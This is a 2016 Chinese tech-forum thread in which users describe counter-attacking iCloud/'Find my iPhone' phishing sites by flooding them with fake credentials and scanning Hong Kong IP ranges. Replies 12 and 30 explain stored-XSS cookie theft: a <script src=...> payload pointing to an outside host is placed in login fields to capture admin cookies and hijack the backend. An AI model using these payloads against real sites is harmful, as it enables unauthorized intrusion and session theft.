最近同学手机被偷了，不断收到各种骗 appleid 的短信和邮件。。做了点好事，往钓鱼网站里 post 了好多好多假数据，过几天他就关了😁
后来还是不断收到各种钓鱼网站，如法炮制，最后没几天也都关了
再后来发现 ip 基本都是香港的，于是写脚本对部分香港 ip 段扫了下，卧槽扫出 100 多个服务器。。。
于是给他们 post 点假数据：随机 9 位 qq 号 @qq.com/随机密码 不知道有没有用，不过至少按照前面的情况，能让他们都关服就可以了。。
请问各位有没有钓鱼网址提供，如果和我见到的是同类型的，我可以帮忙造点假数据进去。。 标题是 find my iphone ，模仿“找回我的 iPhone ”做的钓鱼网站
 |
1
其实可以提交 xss
|
 |
chromingJul 21, 2016
2
这个不错
|
 |
leonisJul 21, 2016
3
干得好
|
 |
aheadleadJul 21, 2016
4
干脆咱们建个 repo 然后维护一个 icloud 钓鱼站列表
|
 |
loadingJul 21, 2016 via Android
5
楼主挂了代理池没？不然一句 sql 就把你的假数据过滤了。
|
 |
ji1043Jul 21, 2016
6
好同志！ 话说 你 Ip 怎么解决的？？？买的？
|
 |
tracedoctingJul 21, 2016
7
之前垃圾邮件里面有一堆钓鱼的，可惜随手删了……
|
 |
SlipStupigJul 21, 2016
8
@aheadlead 没什么用，过两天人家就关站了
|
 |
9
|
 |
10
用 xss 打它把 这个比较好玩儿 :) 拿了后台直接删东西
|
|
12
@0x5e http://123.57.48.113/xss//index.php?do=login 注册个帐号，然后会有一个<script>xxx</script>的玩意儿， 把假的用户名或者密码换成这个玩意儿，只要那个人浏览了要是没有做过滤，你会得到他的 cookie :) 然后火狐改个 cookie 就能直接登录后台了，打 QQ 片子屡试不爽
|
 |
wilddogJul 21, 2016
13
赞
|
 |
ctsedJul 21, 2016 via iPhone
15
你不管他也会关的 生命周期很短 有的类型就存活几个小时
|
 |
iwjJul 21, 2016
16
想学习一下代码，可以分享一下吗
|
 |
sephinhJul 21, 2016 via Android
19
干得好～～～
|
|
23
|
|
24
@ctsed 可能吧，不过感觉这网站也挺挫的，要是真心想过滤的话可以搞个 ip 防火墙什么的，说不准也没记录下账号密码对应的 ip ，又或许说不准 ip 是从 X-Forwarded-For 取的。。反正闲着也是闲着我就开着刷一下吧 。。😁
|
 |
DravenJohnsonJul 22, 2016
25
还有这东西？
|
 |
Ra8erJul 22, 2016
26
见一个 日一个
|
 |
njutreeJul 22, 2016
27
干的漂亮，对于这些人就该给他们大量的假数据让他们干不了坏事。
|
|
30
最简单的方法是写个 form ，这样网站的 js 都用不了，然后 user 写上你得到的代码<script src=http://t.cn/Rt2iRuv></script> passwd 也可以，最后这个会插入 他们数据库，如果没有过滤的话，当他们打开你会得到 cookie ，其中还有 keepsession 的选项
|
 |
meppyJul 22, 2016
31
都是高手，学习了
|
 |
cybermayMar 10, 2017
32
你不灌数据他也会关的 骗到了账号就会关 然后再开
|
2
Select Language